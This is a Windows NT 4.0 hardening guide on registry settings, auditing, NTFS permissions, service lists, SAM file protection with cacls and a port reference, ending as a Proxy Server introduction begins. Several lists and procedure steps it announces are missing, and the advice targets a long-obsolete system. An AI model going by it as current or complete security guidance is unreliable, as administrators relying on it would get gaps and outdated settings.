Regular backups protect your data from hardware failures and honest mistakes, as well as from viruses and other malicious mischief. The Windows NT Backup utility is described in Chapter 6, "Backing Up and Restoring Network Files" in Microsoft Windows NT Server Concepts and Planning. For procedural information, see Help.

Obviously, files must be read to be backed up, and they must be written to be restored. Backup privileges should be limited to administrators and backup operators—people to whom you are comfortable giving read and write access on all files.

If the network is entirely contained in a secure building, the risk of unauthorized taps is minimized or eliminated. If the cabling must pass through unsecured areas, use optical fiber links rather than twisted pair to foil attempts to tap the wire and collect transmitted data.

Most personal computers today can start a number of different operating systems. For example, even if you normally start Windows NT from the C: drive, someone could select another version of Windows on another drive, including a floppy drive or CD-ROM drive. If this happens, security precautions you have taken within your normal version of Windows NT might be circumvented.

In general, you should install only those operating systems that you want to be used on the computer you are setting up. For a highly secure system, this will probably mean installing one version of Windows NT. However, you must still protect the CPU physically to ensure that no other operating system is loaded. Depending on your circumstances, you might choose to remove the floppy drive or drives. In some computers you can disable booting from the floppy drive by setting switches or jumpers inside the CPU. If you use hardware settings to disable booting from the floppy drive, you might want to lock the computer case (if possible) or lock the machine in a cabinet with a hole in the front to provide access to the floppy drive. If the CPU is in a locked area away from the keyboard and monitor, drives cannot be added or hardware settings changed for the purpose of starting from another operating system. Another simple setting is to edit the boot.ini file such that the boot timeout is 0 seconds; this will make hard for the user to boot to another system if one exists.

On many hardware platforms, the system can be protected using a power-on password. A power-on password prevents unauthorized personnel from starting an operating system other than Windows NT, which would compromise system security. Power-on passwords are a function of the computer hardware, not the operating system software. Therefore the procedure for setting up the power-on password depends on the type of computer and is available in the vendor's documentation supplied with the system.

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Install the latest recommended Microsoft Service Pack for the NT operating system. The applicable hot-fixes should also be installed. Generally not all hot-fixes are required. Also the order in which hot-fixes are installed is very important, as later hot-fixes sometimes supersede earlier hot-fixes.

ftp://ftp.microsoft.com/bussys/winnt/winnt-public/fixes/usa/nt40

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Windows NT can display a message box with the caption and text of your choice before a user logs on. Many organizations use this message box to display a warning message that notifies potential users that they can be held legally liable if they attempt to use the computer without having been properly authorized to do so. The absence of such a notice could be construed as an invitation, without restriction, to enter and browse the system.

The log on notice can also be used in settings (such as an information kiosk) where users might require instruction on how to supply a user name and password for the appropriate account.

To display a legal notice, use the Registry Editor to create or assign the following registry key values on the workstation to be protected:

Hive: HKEY_LOCAL_MACHINE\SOFTWARE

Key: \Microsoft\Windows NT\Current Version\Winlogon

Name: LegalNoticeCaption

Type: REG_SZ

Value: Whatever you want for the title of the message box

Hive: HKEY_LOCAL_MACHINE\SOFTWARE

Key: Microsoft\Windows NT\Current Version\Winlogon

Name: LegalNoticeText

Type: REG_SZ

Value: Whatever you want for the text of the message box

The changes take effect the next time the computer is started. You might want to update the Emergency Repair Disk to reflect these changes.

Welcome to the XYZ Information Kiosk

Log on using account name Guest and password XYZCorp.

Authorized Users Only

This system is for the use of authorized users only. Individuals using this computing system without authority, or in excess of their authority, are subject to having all of their activities on this system monitored and recorded by system personnel. In the course of monitoring individuals improperly using this system, or in the course of system maintenance, the activities of authorized users may be monitored. Anyone using this system expressly consents to such monitoring and is advised that if such monitoring reveals possible evidence of criminal activity, system personnel may provide the evidence of such monitoring to law enforcement officials.

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It is a good idea to rename the built-in Administrator account to something less obvious. This powerful account is the one account that can never be locked out due to repeated failed log on attempts, and consequently is attractive to hackers who try to break in by repeatedly guessing passwords. By renaming the account, you force hackers to guess the account name as well as the password.

Make the following changes:

• Remove right "LOG ON FROM THE NETWORK" from Administrator's group
• Add right "LOG ON FROM THE NETWORK" for individuals who are administrators
• Enable auditing of failed login attempts
• Lock out users for more than 5 login failures
• Require password of at least 8 characters

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Disable Guest account and remove all rights (note: if using with Internet Information Server then ensure that web user account has permission to access appropriate directories and the right to "LOG ON LOCALLY"

Limited access can be permitted for casual users through the built-in Guest account. If the computer is for public use, the Guest account can be used for public log-ons. Prohibit Guest from writing or deleting any files, directories, or registry keys (with the possible exception of a directory where information can be left).

In a standard security configuration, a computer that allows Guest access can also be used by other users for files that they don't want accessible to the general public. These users can log on with their own user names and access files in directories on which they have set the appropriate permissions. They will want to be especially careful to log off or lock the workstation before they leave it.

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Users should either log off or lock the workstation if they will be away from the computer for any length of time. Logging off allows other users to log on (if they know the password to an account); locking the workstation does not. The workstation can be set to lock automatically if it is not used for a set period of time by using any 32-bit screen saver with the Password Protected option. For information about setting up screen savers, see Help.

• Install password protected screen saver that automatically starts if workstation is not used for 5-15 minutes

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Normally, you can shut down a computer running Windows NT Workstation without logging on by choosing Shutdown in the Logon dialog box. This is appropriate where users can access the computer's operational switches; otherwise, they might tend to turn off the computer's power or reset it without properly shutting down Windows NT Workstation. However, you can remove this feature if the CPU is locked away. (This step is not required for Windows NT Server, because it is configured this way by default.)

To require users to log on before shutting down the computer, use the Registry Editor to create or assign the following Registry key value:

Hive: HKEY_LOCAL_MACHINE\SOFTWARE

Key: \Microsoft\Windows NT\Current Version\Winlogon

Name: ShutdownWithoutLogon

Type: REG_SZ

Value: 0

The changes will take effect the next time the computer is started. You might want to update the Emergency Repair Disk to reflect these changes.

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By default, Windows NT places the user name of the last user to log on the computer in the User name text box of the Logon dialog box. This makes it more convenient for the most frequent user to log on. To help keep user names secret, you can prevent Windows NT from displaying the user name from the last log on. This is especially important if a computer that is generally accessible is being used for the (renamed) built-in Administrator account.

To prevent display of a user name in the Logon dialog box, use the Registry Editor to create or assign the following registry key value:

Hive: HKEY_LOCAL_MACHINE\SOFTWARE

Key: \Microsoft\Windows NT\Current Version\Winlogon

Name: DontDisplayLastUserName

Type: REG_SZ

Value: 1

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Windows NT version 4.0 Service Pack 3 includes a security enhancement that restricts anonymous (null session) logons when they connect to specific named pipes including the one for Registry.

There is a registry key value that defines the list of named pipes that are "exempt" from this restriction. The key value is:

Hive: HKEY_LOCAL_MACHINE\SYSTEM

Key: System\CurrentControlSet\Services\LanManServer\Parameters

Name: NullSessionPipes

Type: REG_MULTI_SZ

Value: Add or Remove names from the list as required by the configuration.

Please refer to Knowledge Base article Q143138 for more details.

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Windows NT has a feature where anonymous logon users can list domain user names and enumerate share names. Customers who want enhanced security have requested the ability to optionally restrict this functionality. Windows NT 4.0 Service Pack 3 and a hotfix for Windows NT 3.51 provide a mechanism for administrators to restrict the ability for anonymous logon users (also known as NULL session connections) to list account names and enumerate share names. Listing account names from Domain Controllers is required by the Windows NT ACL editor, for example, to obtain the list of users and groups to select who a user wants to grant access rights. Listing account names is also used by Windows NT Explorer to select from list of users and groups to grant access to a share.

The registry key value to set for enabling this feature is:

Hive: HKEY_LOCAL_MACHINE\SYSTEM

Key: System\CurrentControlSet\Control\LSA

Name: RestrictAnonymous

Type: REG_DWORD

Value: 1.

This enhancement is part of Windows NT version 4.0 Service Pack 3. A hot fix for it is also provided for Windows NT version 3.51. Please refer to Knowledge Base article Q143474 for more details on this.

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Windows NT 4.0 Service Pack 2 and later includes a password filter DLL file (Passfilt.dll) that lets you enforce stronger password requirements for users. Passfilt.dll provides enhanced security against "password guessing" or "dictionary attacks" by outside intruders.

Passfilt.dll implements the following password policy:

• Passwords must be at least six (6) characters long. (The minimum password length can be increased further by setting a higher value in the Password Policy for the domain).
• Passwords must contain characters from at least three (3) of the following four (4) classes:

• Passwords may not contain your user name or any part of your full name.

These requirements are hard-coded in the Passfilt.dll file and cannot be changed through the user interface or registry. If you wish to raise or lower these requirements, you may write your own .dll and implement it in the same fashion as the Microsoft version that is available with Windows NT 4.0 Service Pack 2.

To use Passfilt.Dll, the administrator must configure the password filter DLL in the system registry on all domain controllers. This can be done as follows with the following registry key value:

Hive: HKEY_LOCAL_MACHINE\SYSTEM

Key: System\CurrentControlSet\Control\LSA

Name: Notification Packages

Type: REG_MULTI_SZ

Value: Add string "PASSFILT" (do not remove existing ones).

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Windows NT supports the following two types of challenge/response authentication:

• LanManager (LM) challenge/response
• Windows NT challenge/response

To allow access to servers that only support LM authentication, Windows NT clients currently send both authentication types. Microsoft developed a patch that allows clients to be configured to send only Windows NT authentication. This removes the use of LM challenge/response messages from the network.

Applying this hot fix, configures the following registry key:

Hive: HKEY_LOCAL_MACHINE\SYSTEM

Key: System\CurrentControlSet\Control\LSA

Name: LMCompatibilityLevel

Type: REG_DWORD

Value: 0,1,2 (Default 0)

Setting the value to:

• 0 – Send both Windows NT and LM password forms.
• 1 – Send Windows NT and LM password forms only if the server requests it.
• 2 – Never send LM password form.

If a Windows NT client selects level 2, it cannot connect to servers that support only LM authentication, such as Windows 95 and Windows for Workgroups.

For more complete information on this hot fix, please refer to Knowledge Base article number Q147706.

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Virtual Memory support of Windows NT uses a system page file to swap pages from memory of different processes onto disk when they are not being actively used. On a running system, this page file is opened exclusively by the operating system and hence is well-protected. However, systems that are configured to allow booting to other operating systems, may want to ensure that system page file is wiped clean when Windows NT shuts down. This ensures that sensitive information from process memory that may have made into the page file is not available to a snooping user. This can be achieved by setting up the following key:

Hive: HKEY_LOCAL_MACHINE\SYSTEM

Key: System\CurrentControlSet\Control\SessionManager\Memory Management

Name: ClearPageFileAtShutdown

Type: REG_DWORD

Value: 1

Note that, this protection works only during a clean shutdown, therefore it is important that untrusted users do not have ability to power off or reset the system manually.

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All the initialization and configuration information used by Windows NT is stored in the registry. Normally, the keys in the registry are changed indirectly, through the administrative tools such as the Control Panel. This method is recommended. The registry can also be altered directly, with the Registry Editor; some keys can be altered in no other way.

The Registry Editor supports remote access to the Windows NT registry. To restrict network access to the registry, use the Registry Editor to create the following registry key:

Hive: HKEY_LOCAL_MACHINE

Key: \CurrentcontrolSet\Control\SecurePipeServers

Name: \winreg

The security permissions set on this key define which users or groups can connect to the system for remote registry access. The default Windows NT Workstation installation does not define this key and does not restrict remote access to the registry. Windows NT Server permits only administrators remote access to the registry.

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Default configuration allows guests and null log ons ability to view event logs (system, and application logs). Security log is protected from guest access by default, it is viewable by users who have "Manage Audit Logs" user right. The Event log services use the following key to restrict guest access to these logs:

Hive: HKEY_LOCAL_MACHINE

Key: \System\CurrentControlSet\Services\EventLog\[LogName]

Name: RestrictGuestAccess

Type REG_DWORD

Value: 1

Set the value for each of the logs to 1. The change takes effect on next reboot. Needless to say that you will have to change the security on this key to disallow everyone other than Administrators and System any access because otherwise malicious users can reset these values.

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Registry key AddPrinterDrivers under HKEY_LOCAL_MACHINE\System\CurrentControlSet\ Control\Print\Providers\LanMan Print Services\Servers, Key value AddPrinterDrivers (REG_DWORD) is used to control who can add printer drivers using the print folder. This key value should be set to 1 to enable the system spooler to restrict this operation to administrators and print operators (on server) or power users (on workstation).

Hive: HKEY_LOCAL_MACHINE

Key: System\CurrentcontrolSet\Control\Print\Providers\LanMan Print Services\Servers

Name: AddPrintDrivers

Type REG_DWORD

Value: 1

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The Schedule service (also known as the AT command) is used to schedule tasks to run automatically at a preset time. Because the scheduled task is run in the context run by the Schedule service (typically the operating system's context), this service should not be used in a highly secure environment.

By default, only administrators can submit AT commands. To allow system operators to also submit AT commands, use the Registry Editor to create or assign the following registry key value:

Hive: HKEY_LOCAL_MACHINE\SYSTEM

Key: \CurrentControlSet\Control\Lsa

Name: Submit Control

Type: REG_DWORD

Value: 1

There is no way to allow anyone else to submit AT commands. Protecting the registry as explained earlier restricts direct modification of the registry key using the registry editor. Access to the registry key HKEY_LOCAL_MACHINE\System\CurrentControlSet\ Services\Schedule should also be restricted to only those users/groups (preferrably Administrators only) that are allowed to submit jobs to the schedule service.

The changes will take effect the next time the computer is started. You might want to update the Emergency Repair Disk to reflect these changes.

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The native Windows NT file sharing service is provided using the SMB-based server and redirector services. Even though only administrators can create shares, the default security placed on the share allows Everyone full control access. These permissions are controlling access to files on down level file systems like FAT which do not have security mechanisms built in. Shares on NTFS enforce the security on the underlying directory it maps to and it is recommended that proper security be put via NTFS and not via the file sharing service.

Also note that the share information resides in the registry which also needs to be protected as explained in a section earlier.

• Service Pack 3 for Windows NT version 4.0 includes several enhancements to SMB based file sharing protocol. These are:It supports mutual authentication to counter man-in-the-middle attacks.
• It supports message authentication to prevent active message attacks.

These are provided by incorporating message signing into SMB packets which are verified by both server and client ends. There are registry key settings to enable SMB signatures on each side. To ensure that SMB server responds to clients with message signing only, configure the following key value:

Hive: HKEY_LOCAL_MACHINE\SYSTEM

Key: System\CurrentControlSet\Services\LanManServer\Parameters

Name: RequireSecuritySignature

Type: REG_DWORD

Value: 1

Setting this value ensures that the Server communicates with only those clients that are aware of message signing. Note that this means that installations that have multiple versions of client software, older versions will fail to connect to servers that have this key value configured.

Similarly, security conscious clients can also decide to communicate with servers that support message signing and no one else.

Hive: HKEY_LOCAL_MACHINE\SYSTEM

Key: System\CurrentControlSet\Services\Rdr\Parameters

Name: RequireSecuritySignature

Type: REG_DWORD

Value: 1

Note that setting this key value implies that the client will not be able to connect to servers which do not have message signing support.

Please refer to Knowledge Base article Q161372 for further details on SMB message signing enhancements.

Windows NT version 4.0 Service Pack 3 also includes another enhancement to SMB file sharing protocol such that by default you are unable to connect to SMB servers (such as Samba or Hewlett-Packard (HP) LM/X or LAN Manager for UNIX) with an unencrypted (plain text) password. This protects from sending clear text forms of passwords over the wire. Please refer to Knowledge base article Q166730 if you have any reasons to allow clients to send unencrypted passwords over the wire.

Additionally, customers may want to delete the administrative shares ($ shares) if they are not needed on an installation. This can be accomplished using "net share" command. For example:

Auditing can inform you of actions that could pose a security risk and also identify the user accounts from which audited actions were taken. Note that auditing only tells you what user accounts were used for the audited events. If passwords are adequately protected, this in turn indicates which user attempted the audited events. However, if a password has been stolen or if actions were taken while a user was logged on but away from the computer, the action could have been initiated by someone other than the person to whom the user account is assigned

When you establish an audit policy you'll need to weigh the cost (in disk space and CPU cycles) of the various auditing options against the advantages of these options. You'll want to at least audit failed log on attempts, attempts to access sensitive data, and changes to security settings. Here are some common security threats and the type of auditing that can help track them:

Hacker-type break-in using random passwords Enable failure auditing for log on and log off events.

Break-in using stolen password Enable success auditing for log on and log off events. The log entries will not distinguish between the real users and the phony ones. What you are looking for here is unusual activity on user accounts, such as log ons at odd hours or on days when you would not expect any activity.

Misuse of administrative privileges by authorized users Enable success auditing for use of user rights; for user and group management, for security policy changes; and for restart, shutdown, and system events. (Note: Because of the high volume of events that would be recorded, Windows NT does not normally audit the use of the Backup Files And Directories and the Restore Files And Directories rights. Appendix B, "Security In a Software Development Environment," explains how to enable auditing of the use of these rights.)

Virus outbreak Enable success and failure write access auditing for program files such as files with .exe and .dll extensions. Enable success and failure process tracking auditing. Run suspect programs and examine the security log for unexpected attempts to modify program files or creation of unexpected processes. Note that these auditing settings generate a large number of event records during routine system use. You should use them only when you are actively monitoring the system log.

Improper access to sensitive files Enable success and failure auditing for file- and object-access events, and then use File Manager to enable success and failure auditing of read and write access by suspect users or groups for sensitive files.

Improper access to printers Enable success and failure auditing for file- and object-access events, and then use Print Manager to enable success and failure auditing of print access by suspect users or groups for the printers.

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Enabling system auditing can inform you of actions that pose security risks and possibly detect security breaches.

To activate security event logging, follow these steps:

Note that Auditing is a "detection" capability rather than "prevention" capability. It will help you discover security breaches after they occur and therefore should always be consider in addition to various preventive measures.

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To enable auditing on base system objects, add the following key value to the registry key

Hive: HKEY_LOCAL_MACHINE\SYSTEM

Key: System\CurrentControlSet\Control\Lsa

Name: AuditBaseObjects

Type: REG_DWORD

Value: 1

Note that simply setting this key does not start generating audits. The administrator will need to turn auditing on for the "Object Access" category using User Manager. This registry key setting tells Local Security Authority that base objects should be created with a default system audit control list.

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Certain privileges in the system are not audited by default even when auditing on privilege use is turned on. This is done to control the growth of audit logs. The privileges are:

1 is granted to everyone so is meaningless from auditing perspective. 2 is not used in a working system and can be removed from administrators group. 3, 4 and 5 are not granted to any user or group and are highly sensitive privileges and should not be granted to anyone. However 6 and 7 are used during normal system operations and are expected to be used. To enable auditing of these privileges, add the following key value to the registry key

Hive: HKEY_LOCAL_MACHINE\SYSTEM

Key: System\CurrentControlSet\Control\Lsa

Name: FullPrivilegeAuditing

Type: REG_BINARY

Value: 1

Note that these privileges are not audited by default because backup and restore is a frequent operation and this privilege is checked for every file and directory backed or restored, which can lead to thousands of audits filling up the audit log in no time. Carefully consider turning on auditing on these privilege uses.

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The NTFS file system provides more security features than the FAT system and should be used whenever security is a concern. The only reason to use FAT is for the boot partition of an ARC-compliant RISC system. A system partition using FAT can be secured in its entirety using the Secure System Partition command on the Partition menu of the Disk Administrator utility.

Among the files and directories to be protected are those that make up the operating system software itself. The standard set of permissions on system files and directories provide a reasonable degree of security without interfering with the computer's usability. For high-level security installations, however, you might want to additionally set directory permissions to all subdirectories and existing files, as shown in the following list, immediately after WindowsNT is installed. Be sure to apply permissions to parent directories before applying permissions to subdirectories.

First apply the following using the ACL editor:

SYSTEM: Full Control

Now, within the \WINNT tree, apply the following exceptions to the general security:

\WINNT\REPAIR Administrators: Full Control

SYSTEM: Full Control

SYSTEM: Full Control

\WINNT\COOKIES

\WINNT\FORMS

\WINNT\HISTORY

\WINNT\OCCACHE

\WINNT\PROFILES

\WINNT\SENDTO

System : Full Control

Several critical operating system files exist in the root directory of the system partition on Intel 80486 and Pentium-based systems. In high-security installations you might want to assign the following permissions to these files:

SYSTEM: Full Control

SYSTEM: Full Control

Everyone: Special Directory Access – Read, Write and Execute, Special File Access – None

To view these files in File Manager, choose the By File Type command from the View menu, then select the Show Hidden/System Files check box in the By File Type dialog box.

Note that the protections mentioned here are over and above those mentioned earlier in the standard security level section, which included having only NTFS partitions (except the boot partition in case of RISC machines). The FAT boot partition for RISC systems can be configured using the Secure System Partition command on the Partition menu of the Disk Administrator utility.

It is also highly advisable that Administrators manually scan the permissions on various partitions on the system and ensures that they are appropriately secured for various user accesses in their environment.

For a stand-alone WEB or firewall server, consider the following guidelines

The following services should NOT be started:

Alerter

ClipBook Server

Computer Browser

DHCP Client

Directory Replicator

Messenger

Net Logon

Network DDE

Network DDE DSDM

Plug and Play

Remote Procedure Call (RPC) Locator

Server

SNMP Trap Service

Spooler "unless print spooling is needed"

TCP/IP NetBIOS Helper

Telephony Service

Workstation

The following services MUST be started:

EventLog

FTP Publishing Service (for FTP server)

Gopher Publishing Service (for Gopher server)

NT LM Security Support Provider

Remote Procedure Call (RPC) Service

SNMP

World Wide Web Publishing Service (for WWW server)

The following services MAY be started if needed:

Schedule

UPS

Disconnect the "NetBIOS Interface", the "Server" and the "Workstation" from the "WINS Client(TCP/IP)"

The Windows NT alerter and messenger services enable a user to send pop-up messages to other users. A network administrator may consider this an unnecessary risk due to the fact that these types of services have been known to be used in social engineering attacks. Some users might actually respond to a request to change their password, create a share, or otherwise open holes in the network. A side effect of running this service is that it causes the name of the current user to be broadcast in the NetBIOS name table, which gives the attacker a valid user name to use in brute force attempts.

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Use the Bindings feature in the Network application in Control Panel to unbind any unnecessary services from any network adapter cards connected to the Internet. For example, you might use the Server service to copy new images and documents from computers in your internal network, but you might not want remote users to have direct access to the Server service from the Internet.

If you need to use the Server service on your private network, disable the Server service binding to any network adapter cards connected to the Internet. You can use the Windows NT Server service over the Internet; however, you should fully understand the security implications and comply with Windows NT Server Licensing requirements issues.

When you are using the Windows NT Server service you are using Microsoft networking (the server message block [SMB] protocol rather than the HTTP protocol) and all Windows NT Server Licensing requirements still apply. HTTP connections do not apply to Windows NT Server licensing requirements.

For Windows NT systems with direct Internet connectivity and have NetBios, there are two configuration options:

A Windows NT system with direct Internet connectivity needs to be secured with respect to other services besides NetBIOS access, specifically Internet Information Server

NetBIOS over TCP/IP should normally be disabled for a firewall or web server. The following is a list of the ports used by NBT.

• NetBIOS-ns 137/tcp NETBIOS Name Service
• NetBIOS-ns 137/udp NETBIOS Name Service
• NetBIOS-dgm 138/tcp NETBIOS Datagram Service
• NetBIOS-dgm 138/udp NETBIOS Datagram Service
• NetBIOS-ssn 139/tcp NETBIOS Session Service
• NetBIOS-ssn 139/udp NETBIOS Session Service

STATUS

The Windows NT Server 4.0 System Key hotfix (included in Service Pack 3) provides the capability to use strong encryption techniques to increase protection of account password information stored in the registry by the Security Account Manager (SAM). Windows NT Server stores user account information, including a derivative of the user account password, in a secure portion of the Registry protected by access control and an obfuscation function. The account information in the Registry is only accessible to members of the Administrators group. Windows NT Server, like other operating systems, allows privileged users who are administrators access to all resources in the system. For installations that want enhanced security, strong encryption of account password derivative information provides an additional level of security to prevent Administrators from intentionally or unintentionally accessing password derivatives using Registry programming interfaces.

Please refer to Knowledge Base article Q143475 for more details on SysKey feature and how it can be implemented on a Windows NT installation.

STATUS

The default configuration of Windows NT caches the last logon credentials for a user who logged on interactively to a system. This feature is provided for system availability reasons such as the user's machine is disconnected or none of the domain controllers are online.

Even though the credential cache is well protected, in a highly secure environments, customers may want to disable this feature. This can be done by setting the following registry key:

Hive: HKEY_LOCAL_MACHINE

Key: Software\Microsoft\Windows NT\CurrentVersion\Winlogon

Name: CachedLogonsCount

Type: REG_DWORD

Value: 0

STATUS

By default, the SAM._ file and \repair directory has the following permissions;

Administrators: Full Control

Everyone: Read

SYSTEM: Full Control

Power Users: Change

1.From within Explorer, highlight the SAM._ file, right click, choose properties, security, permissions. Remove all privilege from this file.

2.From a DOS prompt, execute the following;

cacls %systemroot%\repair\sam._ /D Everyone

This will deny the group Everyone permission to the file, ensuring that no other permission (i.e. inherited permissions from a share) can override the file permission.

3.Whenever you need to update your ERD, first execute the following from a DOS prompt;

cacls %systemroot%\repair\sam._ /T /G Administrators:C

This will grant Administrators change permission to update it during the ERD update.

4.Once the ERD has been updated, execute the following from a DOS prompt;

cacls %systemroot%\repair\sam._ /E /R Administrators

This will once again remove the permissions for Administrator

How to enable auditing on password registry keys

• "Take ownership of files or other objects"
• "Back up files and directories"
• "Manage auditing and security log"
• "Restore files and directories"
• "Add workstations to domain"
• "Replace a process level token"

You will now have applied auditing to the entire SAM ensuring you'll be notified via the Event Logger of any failed or successful access to your sensitive information by the only accounts which have the ability to access such information. The issue of what to do when/if you discover event notifications is beyond the scope of this document. Part of a good security policy is an appropriate audit policy which would dictate how the event logs are reviewed, how the information is verified, and what actions should be taken for each possible event.

Note: This section is not meant to teach you the concepts behind the TCP/IP protocol. It is assumed that a working knowledge of TCP/IP can be applied.

Windows NT has a built in TCP/IP security functionality that most people do not use or know about. This functionality enables you to control the types of network traffic that can reach your NT servers. Access can be allowed or denied based on specific TCP ports, UDP ports, and IP protocols. This type of security is normally applied to servers connected directly to the internet, which is not recommended.

Do configure NT's built in TCP/IP security, follow these steps:

1 - Right click on Network Neighborhood and goto the properties option.

2 - Select the Protocols tab, highlight TCP/IP and click on Properties.

3 - Select the IP address tab of the TCP/IP properties screen.

4 - Check the check box that reads "Enable Security".

5 - Click on Configure

You should now be looking at the TCP/IP Security dialog, which has the following options:

-Adapter: Specifies which of the installed network adapter cards you are configuring

-TCP Ports

-UDP Ports

-IP Protocols

Within these settings, you would choose which ports and what access permissions you would like to assign to those ports. The following list is a list of the well known TCP/IP ports. This is not an in depth guide, just a quick reference (For more details, check RFC 1060).

[6.3.9] Well known TCP/UDP Port numbers

Service Port Comments

TCP Ports

echo 7/tcp

discard 9/tcp sink null

systat 11/tcp users

daytime 13/tcp

netstat 15/tcp

qotd 17/tcp quote

chargen 19/tcp ttytst source

ftp-data 20/tcp

ftp 21/tcp

telnet 23/tcp

smtp 25/tcp mail

time 37/tcp timserver

name 42/tcp nameserver

whois 43/tcp nicname

nameserver 53/tcp domain

apts 57/tcp any private terminal service

apfs 59/tcp any private file service

rje 77/tcp netrjs

finger 79/tcp

http 80/tcp

link 87/tcp ttylink

supdup 95/tcp

newacct 100/tcp [unauthorized use]

hostnames 101/tcp hostname

iso-tsap 102/tcp tsap

x400 103/tcp

x400-snd 104/tcp

csnet-ns 105/tcp CSNET Name Service

pop-2 109/tcp Post Office Protocol version 2

pop-3 110/tcp Post Office Protocol version 3

sunrpc 111/tcp

auth 113/tcp authentication

sftp 115/tcp

uucp-path 117/tcp

nntp 119/tcp usenet readnews untp

ntp 123/tcp network time protocol

statsrv 133/tcp

profile 136/tcp

NeWS 144/tcp news

print-srv 170/tcp

https 443/tcp Secure HTTP

exec 512/tcp remote process execution;

authentication performed using

passwords and UNIX loppgin names

login 513/tcp remote login a la telnet;

automatic authentication performed

based on priviledged port numbers

and distributed data bases which

identify "authentication domains"

cmd 514/tcp like exec, but automatic

authentication is performed as for

login server

printer 515/tcp spooler

efs 520/tcp extended file name server

tempo 526/tcp newdate

courier 530/tcp rpc

conference 531/tcp chat

netnews 532/tcp readnews

uucp 540/tcp uucpd

klogin 543/tcp

kshell 544/tcp krcmd

dsf 555/tcp

remotefs 556/tcp rfs server

chshell 562/tcp chcmd

meter 570/tcp demon

pcserver 600/tcp Sun IPC server

nqs 607/tcp nqs

mdqs 666/tcp

rfile 750/tcp

pump 751/tcp

qrh 752/tcp

rrh 753/tcp

tell 754/tcp send

nlogin 758/tcp

con 759/tcp

ns 760/tcp

rxe 761/tcp

quotad 762/tcp

cycleserv 763/tcp

omserv 764/tcp

webster 765/tcp

phonebook 767/tcp phone

vid 769/tcp

rtip 771/tcp

cycleserv2 772/tcp

submit 773/tcp

rpasswd 774/tcp

entomb 775/tcp

wpages 776/tcp

wpgs 780/tcp

mdbs 800/tcp

device 801/tcp

maitrd 997/tcp

busboy 998/tcp

garcon 999/tcp

blackjack 1025/tcp network blackjack

bbn-mmc 1347/tcp multi media conferencing

bbn-mmx 1348/tcp multi media conferencing

orasrv 1525/tcp oracle

ingreslock 1524/tcp

issd 1600/tcp

nkd 1650/tcp

dc 2001/tcp

mailbox 2004/tcp

berknet 2005/tcp

invokator 2006/tcp

dectalk 2007/tcp

conf 2008/tcp

news 2009/tcp

search 2010/tcp

raid-cc 2011/tcp raid

ttyinfo 2012/tcp

raid-am 2013/tcp

troff 2014/tcp

cypress 2015/tcp

cypress-stat 2017/tcp

terminaldb 2018/tcp

whosockami 2019/tcp

servexec 2021/tcp

down 2022/tcp

ellpack 2025/tcp

shadowserver 2027/tcp

submitserver 2028/tcp

device2 2030/tcp

blackboard 2032/tcp

glogger 2033/tcp

scoremgr 2034/tcp

imsldoc 2035/tcp

objectmanager 2038/tcp

lam 2040/tcp

interbase 2041/tcp

isis 2042/tcp

rimsl 2044/tcp

dls 2047/tcp

dls-monitor 2048/tcp

shilp 2049/tcp

NSWS 3049/tcp

rfa 4672/tcp remote file access server

complexmain 5000/tcp

complexlink 5001/tcp

padl2sim 5236/tcp

man 9535/tcp

UDP Ports

echo 7/udp

discard 9/udp sink null

systat 11/udp users

daytime 13/udp

netstat 15/udp

qotd 17/udp quote

chargen 19/udp ttytst source

time 37/udp timserver

rlp 39/udp resource

name 42/udp nameserver

whois 43/udp nicname

nameserver 53/udp domain

bootps 67/udp bootp

bootpc 68/udp

tftp 69/udp

sunrpc 111/udp

erpc 121/udp

ntp 123/udp

statsrv 133/udp

profile 136/udp

snmp 161/udp

snmp-trap 162/udp

at-rtmp 201/udp

at-nbp 202/udp

at-3 203/udp

at-echo 204/udp

at-5 205/udp

at-zis 206/udp

at-7 207/udp

at-8 208/udp

biff 512/udp used by mail system to notify users

of new mail received; currently

receives messages only from

processes on the same machine

who 513/udp maintains data bases showing who's

logged in to machines on a local

net and the load average of the

machine

syslog 514/udp

talk 517/udp like tenex link, but across

machine - unfortunately, doesn't

use link protocol (this is actually

just a rendezvous port from which a

tcp connection is established)

ntalk 518/udp

utime 519/udp unixtime

router 520/udp local routing process (on site);

uses variant of Xerox NS routing

information protocol

timed 525/udp timeserver

netwall 533/udp for emergency broadcasts

new-rwho 550/udp new-who

rmonitor 560/udp rmonitord

monitor 561/udp

meter 571/udp udemon

elcsd 704/udp errlog copy/server daemon

loadav 750/udp

vid 769/udp

cadlock 770/udp

notify 773/udp

acmaint_dbd 774/udp

acmaint_trnsd 775/udp

wpages 776/udp

puparp 998/udp

applix 999/udp Applix ac

puprouter 999/udp

cadlock 1000/udp

hermes 1248/udp

wizard 2001/udp curry

globe 2002/udp

emce 2004/udp CCWS mm conf

oracle 2005/udp

raid-cc 2006/udp raid

raid-am 2007/udp

terminaldb 2008/udp

whosockami 2009/udp

pipe_server 2010/udp

servserv 2011/udp

raid-ac 2012/udp

raid-cd 2013/udp

raid-sf 2014/udp

raid-cs 2015/udp

bootserver 2016/udp

bootclient 2017/udp

rellpack 2018/udp

about 2019/udp

xinupagesrver 2020/udp

xinuexpnsion1 2021/udp

xinuexpnsion2 2022/udp

xinuexpnsion3 2023/udp

xinuexpnsion4 2024/udp

xribs 2025/udp

scrabble 2026/udp

isis 2042/udp

isis-bcast 2043/udp

rimsl 2044/udp

cdfunc 2045/udp

sdfunc 2046/udp

dls 2047/udp

shilp 2049/udp

rmontor_scure 5145/udp

xdsxdm 6558/udp

isode-dua 17007/udp

This section was not made for people who have been working with Microsoft Proxy Server since its beta (catapult) days. It is made for individuals who are curious about the product and security professionals that are curious as to what Microsoft Proxy Server has to offer. This section is also being written for individuals have a general idea of what a Proxy Server does, but wants to know more. This section goes into discussion of Proxy Server Features and Architecture, Access Control, Encryption, and Firewall Strategies (which I have been getting a lot of requests for).

The second part of the documentation goes into Firewall types and strategies, so if that's the reason you downloaded the documentation, go straight to page 8 I believe.

Microsoft Proxy Server is a "firewall" and cache server. It provides additional Internet security and can improve network response issues depending on its configuration. The reason I put the word firewall in quotes is because Proxy Server should not be considered as a stand-alone solution to a firewall need. When you are done reading this document, you will have an advanced understanding of the Proxy Server product and also understand firewall techniques and topologies.

Proxy Server can be used as an inexpensive means to connect an entire business through only one valid IP address. It can also be used to allow more secure inbound connections to your internal network from the Internet. By using Proxy Server, you are able to better secure your network against intrusion. It can be configured to allow your entire internal private network to access resources on the Internet, at the same time blocking any inbound access.

